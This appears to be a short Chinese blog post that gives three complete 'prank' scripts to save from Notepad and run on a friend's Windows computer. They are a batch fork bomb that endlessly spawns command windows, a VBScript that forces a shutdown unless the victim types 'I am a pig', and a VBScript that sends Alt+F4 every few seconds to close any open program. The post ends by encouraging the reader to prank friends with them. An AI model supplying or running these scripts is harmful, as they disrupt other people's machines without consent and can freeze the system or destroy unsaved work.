Windows 记事本编写恶搞小程序

这时我第一次写文章，如果哪里有错误，希望能给我指正出来。

1、炸弹弹窗

2、我是猪

3、打开什么程序都关闭

1、代码是：

:start

start cmd

goto start

复制到记事本，保存为.bat

2、代码是：

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0

Do While answer<>"我是猪"

answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈，好玩不?",,"哈哈哈"

复制到记事本，保存为.vbs

3、代码是：

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

复制到记事本，保存为.vbs

是不是想去恶搞你的朋友了